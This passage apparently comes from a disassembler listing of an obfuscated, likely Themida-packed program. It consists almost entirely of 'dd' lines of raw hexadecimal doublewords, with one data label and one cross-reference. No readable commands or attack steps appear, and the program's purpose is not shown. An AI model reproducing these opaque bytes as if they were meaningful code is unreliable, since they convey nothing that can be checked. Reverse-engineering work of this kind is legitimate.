		dd 71E42F32h, 0D2CFCB81h, 613C79C7h, 0CE830Fh, 9D090000h
		dd 61E1439h, 0FC8B60Fh,	6BADABFh, 0E9000000h, 6, 0EE801345h
		dd 0C18BD9F6h, 0C1F8B70Fh, 8B6604E8h, 79BD23F8h, 66061E31h
		dd 0BD29E2F7h, 61E2C61h, 0C82BACB7h, 0C3EF8166h, 0E9D18BEAh
		dd 8, 0EC9A8FA7h, 0FD0DC669h, 6E9h, 699D8B00h, 8B061E07h
		dd 1E26DD85h, 7C08306h,	83DABF0Fh, 0BD2B00C0h, 61E32D9h
		dd 830FD03Bh, 6, 53E9h,	8D8BF900h, 61E0459h, 12E8h, 0EB768E00h
		dd 0A63A22AFh, 52496C0Ch, 721CA512h, 8B0E6D7Ah,	1E14D99Dh
		dd 95895F06h, 61E1811h,	0F01E183h, 1F84h, 18EF8000h, 459A583h
		dd 89FE061Eh, 1E29B585h, 0DD958906h, 66061E26h,	0E91AC4BFh
		dd 0
		dd 0C82AB58Dh, 6A0621h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 274459C3h, 0B3B7006Ah, 26C195FFh
		dd 0BD8B061Eh, 61E04B1h, 7F5B9h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0CA9C5C27h
		dd 9ED13D28h, 19FBBB66h, 0FCE183F5h, 10E850h, 85B60000h
		dd 79EFD92Bh, 4188017Eh, 8BFFB19Bh, 9EBB4A4Ch, 5F7BCA34h
		dd 9531FC5Bh, 61E0DB5h,	9589C02Bh, 61E2B61h, 6AD22Bh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 158FC8C3h, 437AFEBBh, 0C233AD02h, 0D003E8D1h, 7504E983h
		dd 0E59529F4h, 0B3061E2Dh, 880DDDh, 0B70F0000h,	75958BDFh
		dd 89061E23h, 1E15519Dh, 8BFA8B06h, 1E324D8Dh, 73BF6606h
		dd 199D8B01h, 50061E27h, 188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 0B589B5F4h, 61E13BDh, 135D9D8Bh
		dd 6A061Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 0F60D7C3h, 87h, 59BD8300h, 61E02h, 65840Fh
		dd 8B660000h, 0B8FBh, 0F98B0000h, 4CB88D8Dh, 6A061Eh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 3E1F58C3h, 99AED277h, 89EBF973h, 1E04B18Dh, 599D8B06h
		dd 0FF061E15h, 55006AE1h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 0B57BE0A9h, 8362EB80h
		dd 1E3169BDh, 840F0006h, 46Ch, 290D8529h, 0BD83061Eh, 61E3169h
		dd 74840F01h, 80000004h, 0BD837DC3h, 61E3169h, 2E860F03h
		dd 89000004h, 1E07F9BDh, 45950906h, 60061E20h, 3368E2BBh
		dd 0D98C6658h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	6BC35545h, 0BD89E939h, 61E1B25h, 6604E180h, 9164D781h
		dd 840FC90Ah, 1B1h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 18h, 5BC35040h, 7E429F35h,	13C58D89h, 11E9061Eh
		dd 0FB000000h, 391C5A47h, 26119E84h, 4EEEE8BBh,	8553517Ah
		dd 1A11858Bh, 5657061Eh, 1D75BD0Bh, 5F5B061Eh, 14BD8533h
		dd 6A061Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 509039C3h, 0DE8h,	2F600600h, 0D3FBB850h
		dd 89EE7D24h, 13E85E75h, 0A1000000h, 0BA49A49Eh, 7F6A66E9h
		dd 0ABE7A0BDh, 75697D81h, 5B530D3Eh, 66905B5Bh,	946EDF81h
		dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 89BB7DC3h, 1E02F985h, 4E806h, 3FF0000h, 10E9001Fh
		dd 8F000000h, 97073D2Eh, 6A53A0A9h, 1A98357Ah, 505FECD0h
		dd 8E953h, 8AC80000h, 98331175h, 8B5B73B8h, 8B042444h
		dd 0F8F0F00h, 0E8000000h, 7, 170FF170h,	538723D0h, 44895B5Bh
		dd 870F0424h, 4, 5B616052h, 50006A58h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 66526CAEh
		dd 575BF98Bh, 1E5D9D8Bh, 0FF5F061Eh, 1E144195h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 1BC7544Bh, 8589CD59h, 621B027h, 805BD8Bh, 0F2E9061Eh
		dd 6A000001h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 458FC355h, 92C40451h, 918589E6h
		dd 8B061E09h, 1E09A59Dh, 1F858B06h, 0B70621B0h,	1800C767h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 54BAC350h, 8A69A8D4h, 8BB4115Ch
		dd 21B023B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0AAC45CEFh, 0AE47FF1Dh, 0C9858BF4h
		dd 6A061E1Ch, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0DC27C351h, 0A5B2584Eh, 6A0689h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 50369DC3h, 89B17D99h, 0A467DB81h, 9D8912E7h,	61E32FDh
		dd 1A11858Bh, 0D88B061Eh, 8B044689h, 1E122D9Dh,	9EBF9606h
		dd 504794E6h, 52006A96h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 99996497h, 0BE984h, 25320000h, 1EE1C7CAh
		dd 78D38F56h, 1FB5FF0Dh, 10621B0h, 1E16D99Dh, 0E9656806h
		dd 880F9204h, 4, 6D2FBB66h, 9A240481h, 6A6E1A1Ah, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0DBABC357h, 9D23A1CBh, 61E2929h, 0B027858Dh,	95890621h
		dd 61E0005h, 909ADB80h,	0DEBB6650h, 0FF99090h, 1B83h, 13E85600h
		dd 0F0000000h, 0BFAF7E5Fh, 0FE5BFF01h, 0A8743141h, 9E427F89h
		dd 5F5F3E07h, 144195FFh, 6A061Eh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 0DE090BC3h, 0FF8B33Bh
		dd 48Fh, 69BF6600h, 13E923h, 9A4E0000h,	9AD28B65h, 0ACD2BDD1h
		dd 0D5AAACFEh, 0BA326D16h, 0C7F86184h, 1E316985h, 306h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 46E524FBh, 0D0DBD31h, 0BD83061Eh, 621B027h
		dd 32840F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 820CC353h, 126980C4h
		dd 0F7E636Ah, 87h, 1EE900h, 0BF0F0000h,	0C3050FAh, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 8E9h, 0BB5E2700h
		dd 0BBE64A60h, 53006AA8h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 5752573Fh, 815B5B5Bh
		dd 5D4A00C3h, 69BD8371h, 3061E31h, 3E1850Fh, 85890000h
		dd 61E0C41h, 58F0Fh, 81660000h,	83786ADFh, 21B027BDh, 840F0006h
		dd 3C3h, 2AF7C781h, 0B5FF411Ch,	621B027h, 1BA5BD8Bh, 95FF061Eh
		dd 61E1555h, 14E8h, 0F0501700h,	0FF221291h, 13DCFAF2h
		dd 214C18C9h, 0C744F902h, 6800F8Bh, 8B000000h, 1E0E1D9Dh
		dd 0B58B5F06h, 621B01Bh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 17h, 0CC35646h, 89075985h,	1E1D698Dh, 106C706h
		dd 6A000100h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 1D0FC356h, 0EFEC40F2h,	0E9965B72h
		dd 7, 7E1C510Dh, 50B639CEh, 0D88B6656h,	0B5FF965Bh, 621B027h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 13C35141h
		dd 4353EEDh, 6E9h, 8AA06A00h, 0FF72C9DDh, 1E2B3D95h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 36F9AF8h, 7C78108h, 8B7EAE2Ah, 21B01BB5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0F4EFD92h, 2BE18589h, 8501061Eh
		dd 61E3251h, 2A21858Bh,	0F560061Eh, 5E8h, 0F23E2000h, 0BA66E923h
		dd 615FF8FEh, 14719D01h, 8689061Eh, 0C4h, 38EF8166h, 75958BB0h
		dd 8B061E23h, 1E2F65BDh, 4C28306h, 0E8E0Fh, 9E90000h, 98000000h
		dd 0D761843h, 7314F0ADh, 6A205089h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 2B82C352h
		dd 60EC430Ch, 0BD296B95h, 61E19C9h, 0C4A4858Dh,	0DE8B0621h
		dd 0B88689h, 0BD890000h, 61E207Dh, 12E8h, 5E4B900h, 68633CF0h
		dd 846A1DF7h, 0ADB3DE91h, 81555A46h, 15F6B7F3h,	6A5B54h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 98C35242h
		dd 391F49C3h, 4840Fh, 0BF660000h, 0B5FF4824h, 621B027h
		dd 8E9h, 8637B100h, 1EDA602Bh, 0DE959h,	24DE0000h, 85661A5Eh
		dd 0A1D5071Bh, 0FF170AFBh, 1E32F995h, 9611B706h, 0D589BB66h
		dd 6A9650h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 0FF4284C3h, 21B027B5h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0AE2369A3h
		dd 0FFE839B8h, 1E304995h, 83DA8B06h, 1E0DB9BDh,	840F0006h
		dd 6Fh,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h
		dd 20C35141h, 0ADBD8B01h, 60061E07h, 5E8h, 8CFD1800h, 9D0BF63Fh
		dd 61E32EDh, 93B0535Eh,	6050615Bh, 52506AB6h, 310F6160h
		dd 8961585Ah, 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0E3C0ADC3h, 0FD858942h, 0FF061E03h
		dd 21B027B5h, 4D95FF06h, 89061E16h, 1E2E29BDh, 27B5FF06h
		dd 800621B0h, 95FF20D7h, 61E09DDh, 1399D2Bh, 0BD83061Eh
		dd 61E2BD9h, 5C840F02h,	8B000000h, 0E59D89F9h, 8B061E0Eh
		dd 1E0E2D85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 0C943D7A2h, 0C12B2D68h, 0C6E065h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 1B0AA7D8h, 199D8BB2h, 0C7061E0Ah, 1E1F8185h
		dd 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 4C8BFFB1h, 0E9DAB70Fh, 0FFFFF3DBh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 40C35242h
		dd 279BD8Bh, 8950061Eh,	1E140D85h, 0C18B5F06h, 0DD858DFCh
		dd 6A061E19h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 7BF0C350h, 52505025h, 0EE8h, 457F8200h
		dd 2C5F2E41h, 7F61D8CAh, 0E99E772Ah, 13h, 66915C0Ah, 0B3A9D802h
		dd 0BE7E8C66h, 1B13C697h, 5BAF07C5h, 0E860310Fh, 0Ah, 69B4A899h
		dd 1D261BDEh, 665E4F43h, 5A61F38Bh, 24048958h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 77C35646h, 6013FA13h
		dd 68C0Fh, 0B5010000h, 61E2D25h, 61F08B66h, 9D8B006Ah
		dd 61E3079h, 9589006Ah,	61E0F1Dh, 41CD858Dh, 0F5560622h
		dd 5C0835Bh, 292DBD2Bh,	5090061Eh, 38B0Fh, 8B660000h, 6A90D9h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 5B04AEC3h, 5DBD894Dh, 6A061E00h, 0C59D8900h,	89061E00h
		dd 1E25D18Dh, 6A006A06h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 8992C356h, 1E010195h
		dd 0C8D38106h, 0FF04E337h, 1E21ED95h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
		dd 0E2A47975h, 8B97DB47h, 1E22F5BDh, 0B68D8D06h, 6A062194h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 9784C350h, 0D0E0583Ch, 89F2B5F2h,	1E1A05B5h
		dd 6AD1FF06h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 492C352h, 7C9784Fh, 83B5A2A3h
		dd 1E272DBDh, 850F0106h, 89h, 0F1DBD8Bh, 26A061Eh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0DEC35242h, 89A5C16Bh
		dd 90585E32h, 77C3D7BFh, 6A905056h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0B2A2C350h
		dd 8980D3D7h, 1E32F1BDh, 0F995FF06h, 6A061E32h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 763EC350h, 0C1BD89DBh, 89061E22h, 1E1B7995h,	0E5BE906h
		dd 0E80000h, 5D000000h,	41D7ED81h, 9D8B0622h, 61E1BD5h
		dd 6AB7D380h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 0FEB0C353h, 0C98D31C8h, 8D061E19h
		dd 218DFE85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 81550A01h, 669C0FCBh, 66BB9015h
		dd 50284692h, 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 98C3D907h, 6F2CB4BFh, 35BD8B6Bh
		dd 64061E0Eh, 35FFh, 9D8B0000h,	61E05A5h, 258964h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 1B03C353h, 0C77FF495h, 8B0F141Ch,	0FFFB8BFEh
		dd 1E1D9185h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 0C868EDDh, 36E154Ch, 8509FF6Ah, 61E03EDh
		dd 12E9h, 1A453E00h, 4FE9F5FBh,	5CE91017h, 379765BEh, 0FF67A41Ch
		dd 1E19CDB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 1A18D7C1h, 29118D89h, 95FF061Eh
		dd 61E1655h, 15CE9h, 0E5BF6600h, 0FBB70F9Bh, 858900B0h
		dd 61E1DF9h, 9D8B70E6h,	61E13BDh, 9D8B71E4h, 61E1D2Dh
		dd 9A6ABB66h, 830F613Ch, 131h, 0CE9h, 5EE37C00h, 2E53E41Fh
		dd 0F8005639h, 0C8B60FE2h, 8C0Fh, 6BA0000h, 8B000000h
		dd 1E172D9Dh, 89C18B06h, 1E0F418Dh, 0BDBD8906h,	0C1061E01h
		dd 8C0F04E8h, 0Ch, 6850Fh, 870F0000h, 0
		dd 0E9E2F766h, 11h, 0D1A18BC2h,	0E6F0EF1Ah, 6A7D421h, 0F9C25AD5h
		dd 60C82B84h, 0FF18B66h, 8B61CBBFh, 0FE860D1h, 95000000h
		dd 36B301Dh, 8A086D24h,	225FAB5h, 5FF93ED5h, 6663D6B9h
		dd 29E96124h, 0E8000000h, 0Dh, 1A3404C1h, 7CF98AF4h, 5E52DD3Dh
		dd 10820FF8h, 0E9000000h, 0Bh, 943B7952h, 0C67742EEh, 5F143C73h
		dd 19B9858Bh, 7E9061Eh,	71000000h, 0AC28D3BFh, 0C083D0ACh
		dd 0C08307h, 26F98D31h,	0D03B061Eh, 15830Fh, 0D7810000h
		dd 2B07FCCBh, 48E9h, 8B505200h,	1E06499Dh, 8B5B5B06h, 1E07F58Dh
		dd 0C3816606h, 0E183AA71h, 2A840F01h, 0F000000h, 687h
		dd 0A19D8B00h, 83061E33h, 1E07F5A5h, 0B529FE06h, 61E2EA1h
		dd 19B99589h, 9D01061Eh, 61E02EDh, 0E9h, 3FB58D00h, 0F0621D2h
		dd 6ADEBFh, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 16h,	0ECC35646h, 0FFF83B0Dh,	1E26C195h, 0DEB70F06h
		dd 0EBCB9h, 0E0CB8100h,	830AC902h, 0BD8BFCE1h, 61E29B5h
		dd 0CE9h, 1A94C700h, 0E29CF454h, 177FC4CFh, 890FFC40h
		dd 0Ch,	68F0Fh,	0B5290000h, 61E0891h, 0B8h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 5924EF4Eh, 6DCDFC0h,	0B70F9E8Ch, 0DE8B66D9h,	0BD8BD22Bh
		dd 61E180Dh, 5830Fh, 81660000h,	0AD5B8AC3h, 0E8D1C233h
		dd 0E983D003h, 6AF47504h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0EED2C351h,	0D48C44B0h
		dd 6A108220h, 6830Fh, 9D8B0000h, 61E2AFDh, 32BD8589h, 6A061Eh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0BE3BBBC3h, 4EFAF44Ah, 69E3810Eh, 0D5CC364h,	88h, 2DBD9D8Bh
		dd 0EE9061Eh, 22000000h, 0CD429C54h, 0AB5BFA8Bh, 0FDD4875h
		dd 75958BA3h, 81061E23h, 227FD5EFh, 4D8D8B6Ch, 6A061E32h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 9FA0C357h, 85292907h, 61E2D55h, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 81665818h,	0E96F8CDFh
		dd 14h,	927C437h, 747780D2h, 46F2F346h,	0ABD5B1D1h, 70706B1Fh
		dd 21F19D89h, 0BD83061Eh, 61E0259h, 0A8840F00h,	0F000000h
		dd 68Bh, 65BD2B00h, 0B8061E1Ah,	0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 94C35040h
		dd 0C7B96E2Bh, 23D3E866h, 4CB88D8Dh, 6A061Eh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 12E846C3h
		dd 61000000h, 767AB50Ah, 27DD303Fh, 1157AEC8h, 264592BDh
		dd 10E95297h, 97000000h, 43A4C8BDh, 2CCA8884h, 3E922C07h
		dd 5B6EE40Ch, 6AE1FF5Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 9C8CC355h, 8375CC1Ah
		dd 1E3169BDh, 840F0006h, 448h, 9E8h, 0F2230D00h, 329B6C16h
		dd 11E92048h, 1F000000h, 0BFBDCCC2h, 9804750Fh,	0D07FA7B3h
		dd 0EBBDE01Bh, 69BD835Bh, 1061E31h, 431840Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 548BE7C3h, 69BD83F5h, 3061E31h, 3CF860Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 7F65D6C3h, 1923220Eh, 6A606Ch, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 1ABA90C3h, 8BE034FAh
		dd 1E26F99Dh, 0D98C6606h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 0BAC35242h, 9D29642Ah, 61E1941h, 6A04E180h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 3EB2C352h, 1EF29B2Ch, 840FC90Ah, 0F9h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 99C35040h, 10E8h
		dd 15D6F700h, 5F14ACF0h, 39C21AF2h, 3F6BDCB2h, 959D09DFh
		dd 5B061E12h, 0ABD5BF66h, 1A11858Bh, 9501061Eh,	61E0111h
		dd 14BD8533h, 0BD8B061Eh, 61E00D1h, 2FD99D09h, 6650061Eh
		dd 89E1F9BFh, 860F2404h, 0
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0FCE0D4C3h, 0DCCA9805h, 3860Fh, 8B660000h
		dd 0A09B68DAh, 0FA8B44EDh, 64243481h, 6044F2A3h, 22E2BA66h
		dd 6880F61h, 89000000h,	1E02ADB5h, 4195FF06h, 89061E14h
		dd 21B02785h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 0BD29601Ah, 61E0255h, 698D2961h
		dd 0F061E0Dh, 0BAE9DBBFh, 89000001h, 1E32E18Dh,	1F858B06h
		dd 810621B0h, 871242E7h, 1800C768h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 96FFC351h, 6BE7E0E5h, 8B7C4E18h, 21B023B5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0B3F6B8A5h, 18CB80C5h, 1CC9858Bh, 6A061Eh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 0DD6253C3h
		dd 11E98C51h, 97000000h, 0A6485814h, 9C295AA2h,	77E13E01h
		dd 7DD2949Fh, 689FB8Bh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 0FAC35545h, 1A5CA552h, 0C19D8B60h, 8B061E05h
		dd 1E1BC19Dh, 858B6106h, 61E1A11h, 2FE9EB81h, 46895D9Bh
		dd 55006A04h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 6093E45Fh, 2E418D89h, 9529061Eh,	61E2A09h
		dd 34895061h, 0EEEB8124h, 0FF0C7637h, 21B01FB5h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 8B9C1839h, 1E1F29BDh, 43ED6806h, 850F1166h, 4, 3EF0BF66h
		dd 12243481h, 8B117940h, 1E0DA1BDh, 27858D06h, 6A0621B0h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 6111C353h, 6AEFB476h, 8950EBBEh, 6A2404h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 3E3613C3h, 6699DC48h, 0F8C2FABBh, 144195FFh,	0B70F061Eh
		dd 6A61FEh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 85C761C3h, 61E3169h, 3, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 68C35242h, 840F07h,	83000000h
		dd 21B027BDh, 840F0006h, 2Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 0DAC35747h,	0BB6647F2h, 21E98CD4h
		dd 0B000000h, 1E2B919Dh, 0C305006h, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 2AC35646h, 97E30338h,	4E0CC895h, 1925BD8Bh
		dd 6A061Eh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0DE7FB5C3h, 4D6739D1h, 27BB66ADh,	0D8BF662Fh
		dd 69BD83FEh, 3061E31h,	418850Fh, 0BD890000h, 61E18F5h
		dd 0B027BD83h, 0F000621h, 40584h, 319D8900h, 0FF061E15h
		dd 21B027B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 8BA34D55h, 5595FFFEh, 6A061E15h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 9E6AC355h, 8166E6BFh, 8B35A5C7h, 21B01BB5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 6C72EBEh, 10001h, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 17h, 1EC35646h, 6621FB76h, 5250DA8Bh
		dd 895F5B51h, 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0FF4237C3h, 21B027B5h, 3DB58906h
		dd 0FF061E16h, 1E2B3D95h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 0AEA823A3h
		dd 518D8977h, 8B061E2Ah, 21B01BB5h, 21858B06h, 6A061E2Ah
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0B857C355h, 830F60h, 0F8000000h, 80C38061h
		dd 0C48689h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 958B4DC3h, 61E2375h, 9F98B66h, 1E21E99Dh
		dd 4C28306h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	0CEC35040h, 31BD8BD6h, 56061E17h, 2890Fh, 0F98B0000h
		dd 2050895Bh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Bh,	0E0C35242h
dword_573B68	dd 4DAC5723h, 3315C894h, 1E2F6D9Dh, 0A4858D06h,	6A0621C4h
					; DATA XREF: Themida_:0053D572o
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0C274C356h, 0FFCE283h, 0F5DABF0Fh, 0B88689h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 3A1259C3h, 0A2DFE6B6h, 0CF81006Ah, 5D195A30h
		dd 0B027B5FFh, 6A0621h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 0D2DC6BC3h, 9705A595h, 0F995FFD7h
		dd 6A061E32h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 0FA6EC350h, 7E4A6820h,	0F3B0DECh
		dd 87h,	31858900h, 96061E22h, 8E8h, 0BF274A00h,	47190CC9h
		dd 13E85058h, 9A000000h, 6FE1C6D5h, 0C0F8FE60h,	35633784h
		dd 0FF910797h, 5F5FB9ABh, 0DEB7505Bh, 8E996h, 4B7E0000h
		dd 2518E875h, 85891F78h, 61E2751h, 0B027B5FFh, 95FF0621h
		dd 61E3049h, 9E960h, 6E40000h, 0CDD2C4C4h, 0E8E7CF1Bh
		dd 11h,	8AE17BECh, 0DE831E44h, 202A1E4Dh, 0F1017938h, 5A59514Eh
		dd 0B9BD8361h, 61E0Dh, 4E840Fh,	6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0DC7EBAC3h
		dd 7EC701F7h, 0EE92747h, 6000000h, 68F9DE97h, 47F5913Dh
		dd 33810964h, 60505008h, 310F5250h, 5F61585Ah, 0F243489h
		dd 385h, 0FAB70F00h, 0B027B5FFh, 8B660621h, 4D95FFD8h
		dd 0F061E16h, 88Ch, 95295000h, 61E089Dh, 27B5FF5Fh, 6A0621B0h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 4CC1C356h, 0DD95FFB8h, 66061E09h,	0FCEEEF81h
		dd 2BD9BD83h, 0F02061Eh, 3584h,	0EE96000h, 77000000h, 8BC15997h
		dd 0B2B66E9Eh, 0E89B9283h, 0D58A60CEh, 22CF4EBEh, 8B616154h
		dd 1E0E2D85h, 0C6F88B06h, 8B0F0000h, 6,	1CC59D8Bh, 85C7061Eh
		dd 61E1F81h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 64C35545h
		dd 0BF66D88Bh, 0E9E9B515h, 6AFFFFF2h, 3E85100h,	20000000h
